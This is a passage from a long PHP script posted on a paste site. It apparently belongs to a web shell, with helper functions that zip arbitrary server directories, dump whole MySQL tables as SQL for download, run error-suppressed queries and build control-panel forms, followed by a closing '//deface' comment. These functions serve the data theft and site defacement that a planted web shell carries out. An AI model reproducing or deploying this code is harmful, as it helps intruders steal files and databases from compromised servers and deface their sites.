  2600. clearstatcache();
  2601. return $dirdata;
  2602. } else {
  2603. return array();
  2604. }
  2605. }
  2606. function qy($sql) {
  2607. //echo $sql.'<br>';
  2608. $res = $error = '';
  2609. if (!$res = @mysql_query($sql)) {
  2610. return 0;
  2611. } else if (is_resource($res)) {
  2612. return 1;
  2613. } else {
  2614. return 2;
  2615. }
  2616. return 0;
  2617. }
  2618. function q($sql) {
  2619. return @mysql_query($sql);
  2620. }
  2621. function fr($qy) {
  2622. mysql_free_result($qy);
  2623. }
  2624. function sizecount($size) {
  2625. if ($size > 1073741824) {
  2626. $size = round($size / 1073741824 * 100) / 100 . ' G';
  2627. } elseif ($size > 1048576) {
  2628. $size = round($size / 1048576 * 100) / 100 . ' M';
  2629. } elseif ($size > 1024) {
  2630. $size = round($size / 1024 * 100) / 100 . ' K';
  2631. } else {
  2632. $size = $size . ' B';
  2633. }
  2634. return $size;
  2635. }
  2636. // Zip
  2637. class PHPZip {
  2638. var $out = '';
  2639. function PHPZip($dir) {
  2640. if (@function_exists('gzcompress')) {
  2641. $curdir = getcwd();
  2642. if (is_array($dir)) $filelist = $dir;
  2643. else {
  2644. $filelist = $this->GetFileList($dir); //File list
  2645. foreach ($filelist as $k => $v) $filelist[] = substr($v, strlen($dir) + 1);
  2646. }
  2647. if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir))) chdir($dir);
  2648. else chdir($curdir);
  2649. if (count($filelist) > 0) {
  2650. foreach ($filelist as $filename) {
  2651. if (is_file($filename)) {
  2652. $fd = fopen($filename, 'r');
  2653. $content = @fread($fd, filesize($filename));
  2654. fclose($fd);
  2655. if (is_array($dir)) $filename = basename($filename);
  2656. $this->addFile($content, $filename);
  2657. }
  2658. }
  2659. $this->out = $this->file();
  2660. chdir($curdir);
  2661. }
  2662. return 1;
  2663. } else return 0;
  2664. }
  2665. // Show file list
  2666. function GetFileList($dir) {
  2667. static $a;
  2668. if (is_dir($dir)) {
  2669. if ($dh = opendir($dir)) {
  2670. while ($file = readdir($dh)) {
  2671. if ($file != '.' && $file != '..') {
  2672. $f = $dir . '/' . $file;
  2673. if (is_dir($f)) $this->GetFileList($f);
  2674. $a[] = $f;
  2675. }
  2676. }
  2677. closedir($dh);
  2678. }
  2679. }
  2680. return $a;
  2681. }
  2682. var $datasec = array();
  2683. var $ctrl_dir = array();
  2684. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  2685. var $old_offset = 0;
  2686. function unix2DosTime($unixtime = 0) {
  2687. $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  2688. if ($timearray['year'] < 1980) {
  2689. $timearray['year'] = 1980;
  2690. $timearray['mon'] = 1;
  2691. $timearray['mday'] = 1;
  2692. $timearray['hours'] = 0;
  2693. $timearray['minutes'] = 0;
  2694. $timearray['seconds'] = 0;
  2695. } // end if
  2696. return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  2697. }
  2698. function addFile($data, $name, $time = 0) {
  2699. $name = str_replace('\\', '/', $name);
  2700. $dtime = dechex($this->unix2DosTime($time));
  2701. $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
  2702. eval('$hexdtime = "' . $hexdtime . '";');
  2703. $fr = "\x50\x4b\x03\x04";
  2704. $fr.= "\x14\x00";
  2705. $fr.= "\x00\x00";
  2706. $fr.= "\x08\x00";
  2707. $fr.= $hexdtime;
  2708. $unc_len = strlen($data);
  2709. $crc = crc32($data);
  2710. $zdata = gzcompress($data);
  2711. $c_len = strlen($zdata);
  2712. $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  2713. $fr.= pack('V', $crc);
  2714. $fr.= pack('V', $c_len);
  2715. $fr.= pack('V', $unc_len);
  2716. $fr.= pack('v', strlen($name));
  2717. $fr.= pack('v', 0);
  2718. $fr.= $name;
  2719. $fr.= $zdata;
  2720. $fr.= pack('V', $crc);
  2721. $fr.= pack('V', $c_len);
  2722. $fr.= pack('V', $unc_len);
  2723. $this->datasec[] = $fr;
  2724. $new_offset = strlen(implode('', $this->datasec));
  2725. $cdrec = "\x50\x4b\x01\x02";
  2726. $cdrec.= "\x00\x00";
  2727. $cdrec.= "\x14\x00";
  2728. $cdrec.= "\x00\x00";
  2729. $cdrec.= "\x08\x00";
  2730. $cdrec.= $hexdtime;
  2731. $cdrec.= pack('V', $crc);
  2732. $cdrec.= pack('V', $c_len);
  2733. $cdrec.= pack('V', $unc_len);
  2734. $cdrec.= pack('v', strlen($name));
  2735. $cdrec.= pack('v', 0);
  2736. $cdrec.= pack('v', 0);
  2737. $cdrec.= pack('v', 0);
  2738. $cdrec.= pack('v', 0);
  2739. $cdrec.= pack('V', 32);
  2740. $cdrec.= pack('V', $this->old_offset);
  2741. $this->old_offset = $new_offset;
  2742. $cdrec.= $name;
  2743. $this->ctrl_dir[] = $cdrec;
  2744. }
  2745. function file() {
  2746. $data = implode('', $this->datasec);
  2747. $ctrldir = implode('', $this->ctrl_dir);
  2748. return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
  2749. }
  2750. }
  2751. // Dump mysql
  2752. function sqldumptable($table, $fp = 0) {
  2753. $tabledump = "DROP TABLE IF EXISTS $table;\n";
  2754. $tabledump.= "CREATE TABLE $table (\n";
  2755. $firstfield = 1;
  2756. $fields = q("SHOW FIELDS FROM $table");
  2757. while ($field = mysql_fetch_array($fields)) {
  2758. if (!$firstfield) {
  2759. $tabledump.= ",\n";
  2760. } else {
  2761. $firstfield = 0;
  2762. }
  2763. $tabledump.= " $field[Field] $field[Type]";
  2764. if (!empty($field["Default"])) {
  2765. $tabledump.= " DEFAULT '$field[Default]'";
  2766. }
  2767. if ($field['Null'] != "YES") {
  2768. $tabledump.= " NOT NULL";
  2769. }
  2770. if ($field['Extra'] != "") {
  2771. $tabledump.= " $field[Extra]";
  2772. }
  2773. }
  2774. fr($fields);
  2775. $keys = q("SHOW KEYS FROM $table");
  2776. while ($key = mysql_fetch_array($keys)) {
  2777. $kname = $key['Key_name'];
  2778. if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  2779. $kname = "UNIQUE|$kname";
  2780. }
  2781. if (!is_array($index[$kname])) {
  2782. $index[$kname] = array();
  2783. }
  2784. $index[$kname][] = $key['Column_name'];
  2785. }
  2786. fr($keys);
  2787. while (list($kname, $columns) = @each($index)) {
  2788. $tabledump.= ",\n";
  2789. $colnames = implode($columns, ",");
  2790. if ($kname == "PRIMARY") {
  2791. $tabledump.= " PRIMARY KEY ($colnames)";
  2792. } else {
  2793. if (substr($kname, 0, 6) == "UNIQUE") {
  2794. $kname = substr($kname, 7);
  2795. }
  2796. $tabledump.= " KEY $kname ($colnames)";
  2797. }
  2798. }
  2799. $tabledump.= "\n);\n\n";
  2800. if ($fp) {
  2801. fwrite($fp, $tabledump);
  2802. } else {
  2803. echo $tabledump;
  2804. }
  2805. $rows = q("SELECT * FROM $table");
  2806. $numfields = mysql_num_fields($rows);
  2807. while ($row = mysql_fetch_array($rows)) {
  2808. $tabledump = "INSERT INTO $table VALUES(";
  2809. $fieldcounter = - 1;
  2810. $firstfield = 1;
  2811. while (++$fieldcounter < $numfields) {
  2812. if (!$firstfield) {
  2813. $tabledump.= ", ";
  2814. } else {
  2815. $firstfield = 0;
  2816. }
  2817. if (!isset($row[$fieldcounter])) {
  2818. $tabledump.= "NULL";
  2819. } else {
  2820. $tabledump.= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
  2821. }
  2822. }
  2823. $tabledump.= ");\n";
  2824. if ($fp) {
  2825. fwrite($fp, $tabledump);
  2826. } else {
  2827. echo $tabledump;
  2828. }
  2829. }
  2830. fr($rows);
  2831. if ($fp) {
  2832. fwrite($fp, "\n");
  2833. } else {
  2834. echo "\n";
  2835. }
  2836. }
  2837. function ue($str) {
  2838. return urlencode($str);
  2839. }
  2840. function p($str) {
  2841. echo $str . "\n";
  2842. }
  2843. function tbhead() {
  2844. p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  2845. }
  2846. function tbfoot() {
  2847. p('</table>');
  2848. }
  2849. function makehide($name, $value = '') {
  2850. p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  2851. }
  2852. function makeinput($arg = array()) {
  2853. $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  2854. $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  2855. !$arg['type'] && $arg['type'] = 'text';
  2856. $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
  2857. $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  2858. if ($arg['newline']) {
  2859. p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  2860. } else {
  2861. p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  2862. }
  2863. }
  2864. function makeselect($arg = array()) {
  2865. if ($arg['onchange']) {
  2866. $onchange = 'onchange="' . $arg['onchange'] . '"';
  2867. }
  2868. $arg['title'] = $arg['title'] ? $arg['title'] : '';
  2869. if ($arg['newline']) p('<p>');
  2870. p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  2871. if (is_array($arg['option'])) {
  2872. foreach ($arg['option'] as $key => $value) {
  2873. if ($arg['selected'] == $key) {
  2874. p("<option value=\"$key\" selected>$value</option>");
  2875. } else {
  2876. p("<option value=\"$key\">$value</option>");
  2877. }
  2878. }
  2879. }
  2880. p("</select>");
  2881. if ($arg['newline']) p('</p>');
  2882. }
  2883. function formhead($arg = array()) {
  2884. !$arg['method'] && $arg['method'] = 'post';
  2885. !$arg['action'] && $arg['action'] = $self;
  2886. $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
  2887. !$arg['name'] && $arg['name'] = 'form1';
  2888. p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  2889. if ($arg['title']) {
  2890. p('<h2>' . $arg['title'] . ' &raquo;</h2>');
  2891. }
  2892. }
  2893. function maketext($arg = array()) {
  2894. !$arg['cols'] && $arg['cols'] = 100;
  2895. !$arg['rows'] && $arg['rows'] = 25;
  2896. $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
  2897. p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  2898. }
  2899. function formfooter($name = '') {
  2900. !$name && $name = 'submit';
  2901. p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="Submit"></p>');
  2902. p('</form>');
  2903. }
  2904. function formfoot() {
  2905. p('</form>');
  2906. }
  2907. // Exit
  2908. function pr($a) {
  2909. echo '<pre>';
  2910. print_r($a);
  2911. echo '</pre>';
  2912. }
  2913. //deface
  2914.  
  2915. ?>
Add Comment
Please, Sign In to add comment